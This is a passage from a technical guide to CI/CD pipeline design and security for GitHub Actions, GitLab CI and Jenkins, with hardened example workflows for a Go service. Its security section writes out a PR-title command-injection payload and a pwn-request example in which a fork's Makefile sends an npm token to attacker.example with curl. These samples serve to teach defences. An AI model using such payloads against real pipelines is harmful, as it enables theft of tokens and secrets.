  • Jenkins: "Groovy string interpolation should never be used with credentials"; GStrings expand ${TOKEN} "before the command is sent to the agent", so sh gets single-quoted literal scripts.
Why an expression inside run: is code, and an env variable is dataPR title (attacker)a"; echo "INJECTED-$((6*7))"; echo "any fork can set it1. runner substitutes texttitle="a";echo "INJECTED-..."; echo ""before any shell sees it2. bash parses itthree commands; printsINJECTED-42: code ran withthe job's token and secretssame titleenv: TITLE: (expression)set as a process variable1. script text is fixedecho "checking: $TITLE"no attacker bytes in the code2. expansion is dataprints the title literally;quotes and $((...)) inertReproduced by the Go demo (injection package): unsafe prints INJECTED-42, safe prints the payload.
text
pull_request_target + checkout of the PR head ("pwn request")
1  fork PR edits Makefile: lint: curl -d @$HOME/.npmrc https://attacker.example
2  workflow (from the base branch, trusted) checks out head.sha with allow-unsafe-pr-checkout
3  `make lint` runs the fork's Makefile with NPM_TOKEN in env and a write GITHUB_TOKEN
4  token exfiltrated; attacker publishes a package or pushes a tag
fix: run untrusted code under pull_request (no secrets, read-only token); keep pull_request_target for
     labelling/commenting without checkout; never execute artifacts downloaded from a fork's run

Real scenarios: an issue-comment bot that echoes the comment body into bash; a release workflow on workflow_run that downloads and runs an artifact produced by a fork; a Jenkins sh "curl -u ${USER}:${PASS} ..." with a password containing $(...); a PR title CI check (the example in Go's security files).

AttackEntry pointPrevented by
Expression injectionExpression in run: with PR title, branch name, commentenv: + quoted variable; actions with inputs
Pwn requestpull_request_target / workflow_run executing fork codepull_request for untrusted code; no checkout of head; allow-unsafe-pr-checkout review
Cache poisoningLow-trust run writing a cache a release restoresDefault read-only cache-mode for low-trust triggers; restore-only in untrusted jobs
Token abuseOver-privileged GITHUB_TOKENpermissions: contents: read default
Moved action taguses: x@v3Pin by SHA + Dependabot
Persistent runner compromiseSelf-hosted runner reusedEphemeral runners
Secret in logsset -x, encoded secretsMasking + ::add-mask::, no structured secrets
Groovy interpolationsh "... ${SECRET}"Single-quoted sh '...' with withCredentials

Fix: the Go demo reproduces the injection on a laptop (real output in the Lab); the before/after workflows show the fixed shapes.

GitLab CI in depth: .gitlab-ci.yml, stages, needs DAG, rules, cache vs artifacts, GitLab environments, review apps Important ​

In plain words: GitLab reads one .gitlab-ci.yml per project (plus whatever it includes), decides with workflow:rules whether to create a pipeline, places jobs in ordered stages, and lets needs start jobs early. GitLab runners (yours or GitLab's) pick jobs by tag and run them with an executor.

Common misunderstanding: "Stages are the dependency graph." Without needs, a job waits for the whole previous stage; with needs it waits only for what it lists (needs: [] means start immediately), so the real order is the needs DAG and stages become labels for display.

Definition: Top-level keywords: workflow (rules, auto_cancel), include, stages, default (image, before_script, interruptible, retry...), variables; hidden jobs (names starting with .) used with extends; spec:inputs headers in included files. Job keywords used here: stage, image, services, script, needs, rules (if, changes, when), parallel, cache, artifacts (reports), coverage, environment, resource_group, id_tokens, interruptible, allow_failure, retry. Predefined variables: $CI_PIPELINE_SOURCE (merge_request_event, push, schedule...), $CI_COMMIT_BRANCH, $CI_COMMIT_TAG, $CI_DEFAULT_BRANCH, $CI_REGISTRY_IMAGE, $CI_NODE_INDEX/$CI_NODE_TOTAL (with parallel), $CI_ENVIRONMENT_SLUG. Review apps: a job with environment: name: review/$CI_COMMIT_REF_SLUG, on_stop naming a stop job with action: stop, and auto_stop_in ("Stops after one week of inactivity" in GitLab's example).

text
merge request pipeline for acme/shop
stage prepare : composer ─────────────┐
stage quality : pint (needs composer), phpstan (needs composer)
stage test    : pest 1/3, 2/3, 3/3 (needs composer) ── run in parallel with pint/phpstan
stage build   : image (needs pint, phpstan, pest) -> IMAGE_DIGEST via dotenv
stage review  : review (needs image) -> environment review/feature-x -> stop-review (manual, on_stop)

Real scenarios: an MR pipeline and a branch pipeline for the same push until workflow:rules drops the duplicate; a 200-line YAML shrunk to 80 by include:project templates; a review app per MR with its own URL that the reviewer clicks from the MR; resource_group stopping two pipelines from deploying at once.

KeywordPurposeNote
workflow:rulesCreate the pipeline or notUsual pattern: MR pipelines + default branch + tags
stagesOrder of groupsDefault stages: .pre, build, test, deploy, .post
needsDAG edges, artifact passingUp to 50 jobs per needs array
rulesPer-job conditionsFirst match wins; when: manual, when: never
cache vs artifactsSpeed vs required outputCache on the runner/S3; artifacts in GitLab, 30 days default
includeTemplates, componentslocal, project + ref, remote + integrity, template, component
environmentDeploy target, review appson_stop, auto_stop_in, deployment_tier
resource_groupSerialise deploysModes oldest_first, newest_first, newest_ready_first
id_tokensOIDC JWTsNot for files included from another repository when used for Sigstore
parallelN copies of a job1-200; $CI_NODE_INDEX / $CI_NODE_TOTAL

Fix: the two GitLab files in Go and Laravel show each keyword in place.

Jenkins: declarative pipeline, Jenkinsfile, agents, shared libraries, when to still choose it Good to know ​

In plain words: Jenkins is a long-running server you operate. A Jenkinsfile in the repository describes the pipeline in a Groovy-based syntax; agents run the stages; shared libraries hold the common steps for many repositories.

Common misunderstanding: "Jenkins is obsolete." It remains the right tool where the forge cannot be the CI (several forges, an on-premises network that cannot reach a SaaS, existing plugin-based workflows, hardware labs). The cost is operating the controller, plugins and agents, and doing by hand what GitHub and GitLab give for free (OIDC identity, environments, PR-scoped tokens).

Definition: Declarative syntax: pipeline { agent ... options { timeout(...) disableConcurrentBuilds() buildDiscarder(...) } environment { ... } stages { stage('X') { when { branch 'main' } steps { sh '...' } post { always { ... } } } } post { failure { ... } } }; parallel {} for fan-out with failFast true; matrix { axes {} }; input { message, submitter } for approvals, which Jenkins evaluates before when unless the when block sets beforeInput true ("the when condition will be evaluated first, and the input will only be entered if the when condition evaluates to true"); agents: agent { label 'x' }, agent { docker 'image' }, agent { kubernetes { yaml '...' } } (Kubernetes plugin pod templates, container('name') to switch). Shared libraries: @Library('my-shared-library@1.0') _; vars/log.groovy with def info(message) becomes log.info "hello world"; src/ holds classes. Credentials: withCredentials([...]) binds them to environment variables for a block only.

text
multibranch job, tag v1.4.2 discovered
1  Jenkins controller schedules a pod: containers go, lint, docker (DinD), deploy; a newer build of the branch queues (disableConcurrentBuilds(), never abortPrevious on a deploying pipeline)
2  stage Checks: parallel Lint (container lint) and Test (container go) -> fan-in
3  stage Image: buildAndSign(...) from vars/buildAndSign.groovy -> digest.txt
4  stage Deploy staging (main or tag), then Deploy production: when { beforeInput true; buildingTag() } -> input waits for a release-managers member
5  post: failure -> notification; buildDiscarder keeps 30 builds

Real scenarios: an organisation with Bitbucket, GitHub and Gerrit repositories building through one Jenkins; hardware-in-the-loop tests on agents wired to devices; a migration from Jenkins to GitHub Actions that keeps Jenkins only for the device lab.

TopicJenkinsGitHub Actions / GitLab CI
Operating modelYou run controller, plugins, agentsSaaS or self-managed forge with runners
Pipeline languageGroovy (declarative or scripted)YAML + expressions
ReuseShared libraries (vars/, src/)Reusable workflows, composite actions / include, components
SecretsCredentials store, withCredentialsSecrets, environment secrets, OIDC
Identity for keyless signingNone trusted by public Fulcio by defaultBuilt-in OIDC
Approvalsinput stepEnvironments / protected environments

Fix: if you keep Jenkins, keep the Jenkinsfile declarative, queue rather than abort concurrent builds of a deploying pipeline (abortPrevious: true would kill a rollout halfway), verify the signature in a stage before any deploy, pin libraries (@Library('acme-pipeline@v2.4.0')), use Kubernetes pod agents per build, single-quoted sh with withCredentials, and sign with a KMS key; the files are in Go.

Speed and cost: parallel jobs, test splitting, caching hit rates, flaky tests quarantine, pipeline minutes cost Important ​

In plain words: A pipeline should give a verdict in under ten minutes. You get there by running independent work in parallel, splitting slow test suites across machines by their measured time, caching what does not change, and not paying for work nobody reads.

Common misunderstanding: "More parallel jobs is always faster and cheaper." Each job pays its own start-up (runner boot, checkout, cache restore, dependency install) and is billed rounded up: "GitHub rounds the minutes and partial minutes each job uses up to the nearest whole minute." Twenty 20-second jobs bill 20 minutes.

Definition:

  • Parallel jobs and test splitting: split by measured duration, not by count. Pest: "you may split your test suite across multiple jobs using the --shard option" and "Pest supports time-balanced sharding" from a committed tests/.pest/shards.json (--update-shards). Go has no built-in sharding; the shard package in Go reads go test -json timings and assigns tests with the longest-processing-time rule; GitLab's parallel: N provides $CI_NODE_INDEX/$CI_NODE_TOTAL.
  • Caching hit rates: read the cache step's log (Cache restored from key, or the cache-hit output); a cache that misses on most runs costs upload time for nothing.
  • Incremental work: monorepo path filters, rules:changes, Go's test cache on developer machines (CI uses -count=1 deliberately), PHPStan's result cache, Pest's TIA locally (Pest: "On CI, however, you should not pass the --tia flag").
  • Flaky tests quarantine: a test that fails without a code change is moved to a separate, non-blocking job (GitLab allow_failure: true, GitHub continue-on-error: true, a @group flaky / Go build tag) with an owner and a deadline; retries are for infrastructure (retry: when: runner_system_failure), not for hiding flakes.
  • Pipeline minutes cost: GitHub-hosted per-minute rates on 2026-11-29: Linux 2-core x64 $0.006, Linux 2-core arm64 $0.005, Windows 2-core $0.010, macOS $0.062, Linux 1-core $0.002; larger runners up to $0.252 (Linux 96-core); "The use of standard GitHub-hosted runners is free" in public repositories; wait timers are not billed. GitLab bills compute minutes on its hosted runners; self-hosted runners move the cost to your infrastructure.
text
Laravel suite, 36 min of tests on one runner (illustrative numbers)
1  3 shards by count (file order): 25 / 6 / 5 min -> verdict after 25 min
2  3 shards by time (Pest shards.json or LPT): 12 / 12 / 12 min -> verdict after 12 min (+ setup ~1.5 min each)
3  cost: 36 min of tests + 3 x 1.5 min setup = 40.5 billed-ish minutes vs 37.5 for one runner
-> wall clock halves, the bill grows ~8 %: pay where feedback time matters (PRs), not on nightly jobs

Real scenarios: a macOS job at ten times the Linux rate that runs on every PR for a server-side repository; an arm64 job that is cheaper per minute and native for the arm64 image; a flaky Redis test re-run three times on every PR, tripling its minutes; a quarantined test that nobody owns for six months.

LeverTypical effectCost / risk
Fan-out lint/test/buildVerdict = slowest job, not the sumMore runners, more start-ups
Time-balanced test splittingNear-equal shardsTiming file to maintain
Dependency + build cachesMinutes saved per jobPoisoning risk; quota
BuildKit mode=max cacheImage builds in seconds on hitsCache export time and storage
Path filtersSkip irrelevant workflowsRequired-check gotcha
cancel-in-progress on PRsStop paying for superseded runsNever on deploys
Flaky quarantineGreen main lineHidden failures if unowned
arm64 / larger / self-hosted runnersLower rate or wall timeCompatibility, operations

Fix: measure (job durations, queue time, cache hit rate, re-run rate) before optimising; split by time; cancel superseded PR runs; quarantine with an owner; put expensive matrices on push to main or a schedule, not on every PR.

Mechanics ​

What happens between "git push" and the first step ​

StepGitHub ActionsGitLab CI
1 EventWebhook-internal event (push, pull_request...)Push, MR, schedule, API, trigger
2 Which configpush: the pushed commit's .github/workflows/*; pull_request: "the workflow file from the merge commit of the pull request"; pull_request_target: the base repository's default branch.gitlab-ci.yml at the pipeline's ref, plus every include, inputs interpolated "before the configuration is merged"
3 Should a run existon: types and branch/tag/path filtersworkflow:rules
4 ConcurrencyWorkflow concurrency group: run, wait or cancelauto_cancel on new commits
5 Job graphneeds edges; job if: evaluated when its needs finishJob rules evaluated at creation; stages + needs DAG
6 CredentialsA new GITHUB_TOKEN per job with the job's permissions; OIDC request URL and token only with id-token: write (ACTIONS_ID_TOKEN_REQUEST_URL, ACTIONS_ID_TOKEN_REQUEST_TOKEN)CI_JOB_TOKEN, masked/protected variables, id_tokens
7 Placementruns-on labels; environment protection rules must pass firstRunner tags; protected environments; resource_group
8 StepsEach run: script is written to a temporary file after expression substitution, then run with the step's shellbefore_script + script concatenated into one shell session
9 State between stepsEnvironment files: GITHUB_ENV, GITHUB_OUTPUT, GITHUB_PATH, GITHUB_STEP_SUMMARY (each step's summary "is restricted to a maximum size of 1MiB")Shell variables within the job; dotenv artifacts across jobs
10 PostActions' runs.post scripts run "at the end of a job" (cache save, credential cleanup)after_script, artifact and cache upload

Cache key matching, in order ​

text
actions/cache restore (key K, restore-keys R1, R2) in a pull_request run
1  exact K in the PR's merge-ref scope?          -> hit (cache-hit=true), no save at the end
2  prefix K in the PR scope?                      -> partial restore
3  R1, then R2 as prefixes in the PR scope        -> newest matching entry
4  repeat 1-3 in the base (default) branch scope  -> restore from main
5  nothing                                        -> miss; on job success save K in the PR scope (if cache-mode allows writes)
GitLab: key (files hash + prefix) -> each fallback_keys entry -> $CI_DEFAULT_BRANCH cache if configured -> miss

The OIDC token a deploy job presents ​

GitHub's documented example token, shortened (values are GitHub's placeholders):

json
{
  "iss": "https://token.actions.githubusercontent.com",
  "aud": "https://github.com/octo-org",
  "sub": "repo:octo-org/octo-repo:environment:prod",
  "environment": "prod",
  "ref": "refs/heads/main",
  "repository": "octo-org/octo-repo",
  "repository_id": "74",
  "repository_owner_id": "65",
  "runner_environment": "github-hosted",
  "event_name": "workflow_dispatch",
  "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main",
  "iat": 1632493567,
  "exp": 1632493867
}

exp - iat is 300 seconds in this example. The AWS trust condition that matches it exactly (from GitHub's AWS guide):

json
"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:environment:prod"
  }
}

Knobs ​

KnobWhereDefaultNotes
permissionsWorkflow / jobRepository or organisation default (permissive or restricted)Any listed scope sets the others to none
timeout-minutesJob / step360 (job, GitHub-hosted)Set low; a hung job bills until timeout
concurrency.cancel-in-progressWorkflow / jobfalseExpression allowed
concurrency.queueWorkflow / jobsinglemax = up to 100 pending; not with cancel
strategy.fail-fast / max-parallelJobtrue / unlimitedMatrix max 256 jobs
cache-modeWorkflow / jobwrite (trusted) / read (low-trust)read, write, write-only, none
Cache quota / evictionRepository10 GB / 7 days unusedAdmins can raise the quota
retention-days (artifacts)Step901-90
Environment wait timerSettingsnone1-43,200 minutes, not billed
Required reviewersSettingsnoneUp to 6 users or teams, one approval
GITHUB_TOKEN lifetimeRunnerJob end; 6 h hosted, 24 h refresh limit self-hostedPer job
Reusable workflowsCallern/a10 levels, 50 unique per file
GitLab parallelJobnone1-200
GitLab needsJobstage orderMax 50 jobs in the array
GitLab artifacts:expire_inJob30 daysLatest artifacts kept if "keep latest" is on
GitLab cache:fallback_keysJobnoneUp to 5
GitLab resource_group process modeProject APIunorderedoldest_first, newest_first, newest_ready_first
Dependabot cooldown.default-daysdependabot.yml3Version updates only
Jenkins disableConcurrentBuilds() / (abortPrevious: true)optionsoffQueue (deploying pipelines) / abort older builds (checks only)

Error messages you will actually see ​

MessageMeaningFix
Required check stuck in "Pending"The workflow was skipped by a path, branch or commit-message filter; its checks "will remain in a" Pending stateRequire an always-running gate job
Failed to save: ... cache write denied: ... (warning)The job's cache token is read-only (low-trust trigger or cache-mode: read)Save caches from push/schedule runs
Run does not start, validation errorA called workflow asks for wider permissions or cache-mode than the caller allows, or queue: max with cancel-in-progress: trueNarrow the callee or widen the caller job
Credentials loaded by the SDK do not matchconfigure-aws-credentials found existing credentialsIts README: try role-chaining
OIDC request fails because ACTIONS_ID_TOKEN_REQUEST_URL is unsetThe job lacks permissions: id-token: writeAdd it to the job (and the reusable-workflow caller)
'unit_tests' job needs 'compile' job, but 'compile' does not exist in the pipeline. (GitLab)A needed job was removed by rulesneeds:optional: true or align the rules
Error: Local file <file> does not exist! (GitLab)include:local path wrong for this refFix the path; files are resolved at the pipeline's commit
Maximum 150 includes are allowed (GitLab)Include tree too largeFlatten templates, use components
ERROR: Job failed (system failure): the configured PullPolicies ([always]) are not allowed by AllowedPullPolicies ([never]).Runner refuses the job's pull policyAlign image:pull_policy with the runner
exec format error (GitLab without emulation)Image architecture does not match the runnerNative runner or QEMU; multi-arch images
Error: none of the expected identities matched what was in the certificate (cosign, GitLab)Identity written with one slash before .gitlab-ci.ymlUse the // form GitLab documents
cosign verify reports no matching signatures for a GitHub imageIdentity names the caller workflow, but a reusable workflow signedVerify job_workflow_ref (the reusable workflow path)

Go ​

The Go service is the orders-api from Images & Dockerfiles living at services/orders-api in the acme/commerce monorepo. Its pipeline: lint and tests fan out (amd64, arm64, Go stable), the image job fans in and calls the reusable workflow that builds, pushes, signs and attests one digest, staging verifies and deploys it, production promotes it after an approval.

Before ​

A pipeline that works and is wrong in nine ways:

yaml
# .github/workflows/ci.yml, BEFORE (do not copy)
name: ci
on: [push, pull_request]                  # every path, every branch, twice per PR push
jobs:                                     # no permissions: -> repository default token
  all:
    runs-on: ubuntu-latest                # one job: no fan-out, the slowest thing sets the pace
    steps:
      - uses: actions/checkout@main       # moving ref
      - uses: actions/setup-go@v7
        with: { go-version: "1.27", cache: false }      # downloads every module every run
      - run: go test ./...                # no -race, cached results possible on self-hosted
      - run: docker build -t ghcr.io/acme/orders-api:latest services/orders-api   # amd64 only, :latest
      - run: echo "${{ secrets.GHCR_PAT }}" | docker login ghcr.io -u bot --password-stdin  # long-lived PAT
      - run: docker push ghcr.io/acme/orders-api:latest  # also on PR branches
      - run: kubectl set image deploy/orders-api app=ghcr.io/acme/orders-api:latest  # by tag, unsigned, no gate
        env: { KUBECONFIG_DATA: "${{ secrets.PROD_KUBECONFIG }}" }                  # prod creds on every branch

After ​

The GitHub Actions workflow for the service (every action SHA-pinned, least-privilege permissions, PR-only cancellation, matrix, job summary, artifacts, environments):

yaml
# .github/workflows/go-service.yml in the acme/commerce monorepo
# lint + test (fan-out) -> image (fan-in, reusable workflow) -> staging -> production
# Every action is pinned to the commit SHA its tag pointed at on 2026-11-29
# (resolved with the GitHub API); Dependabot keeps SHA and comment in sync.
name: go-service

on:
  push:
    branches: [main]
    tags: ["orders-api/v*.*.*"]
    paths:
      - "services/orders-api/**"
      - ".github/workflows/go-service.yml"
      - ".github/workflows/reusable-image.yml"
      - ".github/actions/verify-image/**"
  pull_request:
    paths:
      - "services/orders-api/**"
      - ".github/workflows/go-service.yml"
  workflow_dispatch:

# Least privilege: every job starts read-only; jobs widen only what they need.
permissions:
  contents: read

# One run per branch or PR; a new push cancels the old PR run, never a main run.
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

defaults:
  run:
    working-directory: services/orders-api

env:
  GOFLAGS: -mod=readonly

jobs:
  lint:
    runs-on: ubuntu-24.04
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: actions/setup-go@d8cbb8045d7f43706b9177cceb36c1f91a6644d5 # v7
        with:
          go-version-file: services/orders-api/go.mod
          cache-dependency-path: services/orders-api/go.sum
      - uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9
        with:
          version: v2.13
          working-directory: services/orders-api

  test:
    runs-on: ${{ matrix.os }}
    timeout-minutes: 15
    strategy:
      fail-fast: false
      matrix:
        os: [ubuntu-24.04, ubuntu-24.04-arm]
        go: [go.mod, stable]
        exclude:
          - os: ubuntu-24.04-arm
            go: stable
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: actions/setup-go@d8cbb8045d7f43706b9177cceb36c1f91a6644d5 # v7
        with:
          go-version-file: ${{ matrix.go == 'go.mod' && 'services/orders-api/go.mod' || '' }}
          go-version: ${{ matrix.go == 'stable' && 'stable' || '' }}
          cache-dependency-path: services/orders-api/go.sum
      - run: go vet ./...
      - run: go test -race -count=1 -covermode=atomic -coverprofile=cover.out ./...
      - name: Coverage to the job summary
        env:
          RUNNER_LABEL: ${{ matrix.os }}
          GO_CHANNEL: ${{ matrix.go }}
        run: |
          {
            echo "### Coverage ($RUNNER_LABEL, Go $GO_CHANNEL)"
            echo '```'
            go tool cover -func=cover.out | tail -n 1
            echo '```'
          } >> "$GITHUB_STEP_SUMMARY"
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7
        with:
          name: coverage-${{ matrix.os }}-${{ matrix.go }}
          path: services/orders-api/cover.out
          retention-days: 7

  image:
    needs: [lint, test]
    if: github.event_name != 'pull_request'
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
    uses: ./.github/workflows/reusable-image.yml
    with:
      name: orders-api
      context: services/orders-api
      image: ghcr.io/acme/orders-api

  deploy-staging:
    needs: image
    runs-on: ubuntu-24.04
    environment:
      name: staging
      url: https://orders.staging.acme.example
    concurrency:
      group: deploy-orders-api-staging
      cancel-in-progress: false
    permissions:
      contents: read
      packages: read       # cosign reads the signature from (private) GHCR
      attestations: read   # gh attestation verify
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - uses: ./.github/actions/verify-image
        with:
          image: ghcr.io/acme/orders-api
          digest: ${{ needs.image.outputs.digest }}
          github-token: ${{ github.token }}
      - uses: aws-actions/configure-aws-credentials@45666896f5d8e0f10ae255413f3a4cdd03bdc8f5 # v6
        with:
          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: eu-central-1
          role-duration-seconds: 900   # STS session outlives the job; keep it short
      - name: Helm upgrade by digest
        env:
          DIGEST: ${{ needs.image.outputs.digest }}
        run: |
          aws eks update-kubeconfig --name staging
          helm upgrade --install orders-api deploy/chart \
            --namespace orders --atomic --wait --timeout 5m \
            --set image.repository=ghcr.io/acme/orders-api \
            --set image.digest="$DIGEST"

  deploy-production:
    needs: [image, deploy-staging]
    if: startsWith(github.ref, 'refs/tags/orders-api/v')
    runs-on: ubuntu-24.04
    # Required reviewers, wait timer and the tag rule live on the environment.
    environment:
      name: production
      url: https://orders.acme.example
    concurrency:
      group: deploy-orders-api-production
      cancel-in-progress: false
    permissions:
      contents: read
      packages: read
      attestations: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - uses: ./.github/actions/verify-image
        with:
          image: ghcr.io/acme/orders-api
          digest: ${{ needs.image.outputs.digest }}
          github-token: ${{ github.token }}
      - uses: aws-actions/configure-aws-credentials@45666896f5d8e0f10ae255413f3a4cdd03bdc8f5 # v6
        with:
          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: eu-central-1
          role-duration-seconds: 900   # STS session outlives the job; keep it short
      - name: Promote the same digest that passed staging
        env:
          DIGEST: ${{ needs.image.outputs.digest }}
        run: |
          aws eks update-kubeconfig --name production
          helm upgrade --install orders-api deploy/chart \
            --namespace orders --atomic --wait --timeout 10m \
            --set image.repository=ghcr.io/acme/orders-api \
            --set image.digest="$DIGEST"
          echo "Deployed \`$DIGEST\` to production" >> "$GITHUB_STEP_SUMMARY"

The reusable workflow every image in the repository goes through (workflow_call inputs and outputs, gha layer cache per image, provenance and SBOM, keyless signing, artifact attestation):

yaml
# .github/workflows/reusable-image.yml: one golden path for every image in the repo.
# Called with `uses: ./.github/workflows/reusable-image.yml`; the caller job must grant
# packages: write, id-token: write and attestations: write (permissions can only narrow).
name: reusable-image

on:
  workflow_call:
    inputs:
      name:
        description: Short name used as the BuildKit gha cache scope, e.g. orders-api
        type: string
        required: true
      context:
        description: Build context directory (holds the Dockerfile)
        type: string
        required: true
      image:
        description: Image name without tag, e.g. ghcr.io/acme/orders-api
        type: string
        required: true
      target:
        description: Dockerfile stage to build (empty = last stage)
        type: string
        default: ""
      platforms:
        type: string
        default: linux/amd64,linux/arm64
    outputs:
      digest:
        description: sha256 digest of the pushed image index
        value: ${{ jobs.build.outputs.digest }}

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-24.04
    timeout-minutes: 30
    permissions:
      contents: read
      packages: write      # push to ghcr.io with GITHUB_TOKEN
      id-token: write      # OIDC token for Sigstore (cosign and attestations)
      attestations: write  # store the provenance attestation on GitHub
    outputs:
      digest: ${{ steps.build.outputs.digest }}
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false

      - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4

      - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - id: meta
        uses: docker/metadata-action@dc802804100637a589fabce1cb79ff13a1411302 # v6
        with:
          images: ${{ inputs.image }}
          tags: |
            type=sha,format=long
            type=ref,event=branch
            type=match,pattern=v(\d+\.\d+\.\d+)$,group=1

      - id: build
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7
        with:
          context: ${{ inputs.context }}
          target: ${{ inputs.target }}
          platforms: ${{ inputs.platforms }}
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          build-args: |
            VERSION=${{ steps.meta.outputs.version }}
            COMMIT=${{ github.sha }}
          # One gha cache scope per image and target, so images do not evict each other.
          cache-from: type=gha,scope=${{ inputs.name }}-${{ inputs.target }}
          cache-to: type=gha,scope=${{ inputs.name }}-${{ inputs.target }},mode=max
          provenance: mode=max
          sbom: true

      - uses: sigstore/cosign-installer@881c63bd87e38389154debd8331404ce7ca8a3ab # v4.1.4

      - name: Keyless signature by digest
        env:
          IMAGE: ${{ inputs.image }}
          DIGEST: ${{ steps.build.outputs.digest }}
        run: cosign sign --yes "${IMAGE}@${DIGEST}"

      - name: GitHub artifact attestation (SLSA provenance) stored in the registry too
        uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4
        with:
          subject-name: ${{ inputs.image }}
          subject-digest: ${{ steps.build.outputs.digest }}
          push-to-registry: true

      - name: Summary
        env:
          IMAGE: ${{ inputs.image }}
          DIGEST: ${{ steps.build.outputs.digest }}
          TAGS: ${{ steps.meta.outputs.tags }}
        run: |
          {
            echo "### Image"
            echo "- digest: \`${IMAGE}@${DIGEST}\`"
            echo "- tags:"
            printf '%s\n' "$TAGS" | sed 's/^/  - /'
          } >> "$GITHUB_STEP_SUMMARY"

What every deploy job checks before trusting a digest: the composite action the GitHub deploy jobs call (registry login first), and the same checks as a standalone script for laptops and other CI systems:

yaml
# .github/actions/verify-image/action.yml: the gate every deploy job runs first.
# The job must be logged in to the registry (packages: read) before this action.
name: Verify image
description: Refuse a digest unless reusable-image.yml signed it and attested its provenance
inputs:
  image:
    description: Image name without tag or digest, e.g. ghcr.io/acme/shop-app
    required: true
  digest:
    description: sha256 digest from reusable-image.yml
    required: true
  github-token:
    description: Token for gh attestation verify (attestations read)
    required: true
runs:
  using: composite
  steps:
    - uses: sigstore/cosign-installer@881c63bd87e38389154debd8331404ce7ca8a3ab # v4.1.4
    - shell: bash
      env:
        REF: ${{ inputs.image }}@${{ inputs.digest }}
        GH_TOKEN: ${{ inputs.github-token }}
      run: |
        set -euo pipefail
        case "$REF" in *@sha256:*) ;; *) echo "refusing a tag; pass a digest" >&2; exit 2 ;; esac
        cosign verify "$REF" \
          --certificate-oidc-issuer https://token.actions.githubusercontent.com \
          --certificate-identity-regexp '^https://github\.com/acme/commerce/\.github/workflows/reusable-image\.yml@refs/(heads/main|tags/[a-z-]+/v[0-9.]+)$' \
          > /dev/null
        echo "signature ok"
        gh attestation verify "oci://$REF" -R acme/commerce \
          --signer-workflow acme/commerce/.github/workflows/reusable-image.yml > /dev/null
        echo "provenance ok"
bash
#!/usr/bin/env bash
# verify-image.sh IMAGE@DIGEST: the checks a deploy job (or an admission
# controller) runs before trusting an image built by reusable-image.yml.
set -euo pipefail
ref="${1:?usage: verify-image.sh ghcr.io/acme/orders-api@sha256:...}"
case "$ref" in *@sha256:*) ;; *) echo "refusing a tag; pass a digest" >&2; exit 2 ;; esac

# 1. Sigstore keyless signature: issuer = GitHub's OIDC provider, identity =
#    the reusable workflow file (job_workflow_ref), on main or a release tag.
cosign verify "$ref" \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  --certificate-identity-regexp '^https://github\.com/acme/commerce/\.github/workflows/reusable-image\.yml@refs/(heads/main|tags/[a-z-]+/v[0-9.]+)$' \
  > /dev/null
echo "signature ok"

# 2. GitHub artifact attestation (SLSA build provenance) for the same digest.
gh attestation verify "oci://$ref" -R acme/commerce \
  --signer-workflow acme/commerce/.github/workflows/reusable-image.yml > /dev/null
echo "provenance ok"

The same service on GitLab CI, as its own project (a verify-image job that both deploy jobs need, include of a shared template with spec:inputs, needs DAG, parallel test splitting, module and build caches inside the project directory, build and keyless signing in one job, dotenv digest, resource_group, manual production):

yaml
# .gitlab-ci.yml of the acme/orders-api project (GitLab CI)
# lint + sharded tests -> build, push and sign by digest -> verify -> staging -> production
workflow:
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS   # no duplicate branch pipeline
      when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    - if: $CI_COMMIT_TAG =~ /^v\d+\.\d+\.\d+$/
  auto_cancel:
    on_new_commit: interruptible

include:
  - project: acme/ci-templates
    ref: v3.2.0                 # a tag you control; pin a commit SHA for stricter supply chains
    file: /templates/buildx.yml
    inputs:
      docker-version: "29"

stages: [lint, test, build, verify, deploy]

default:
  interruptible: true           # superseded MR pipelines are cancelled ...
  retry:
    max: 1
    when: [runner_system_failure, stuck_or_timeout_failure]  # infra flakes only

variables:
  GOPATH: $CI_PROJECT_DIR/.go             # caches must live inside the project dir
  GOMODCACHE: $CI_PROJECT_DIR/.go/pkg/mod
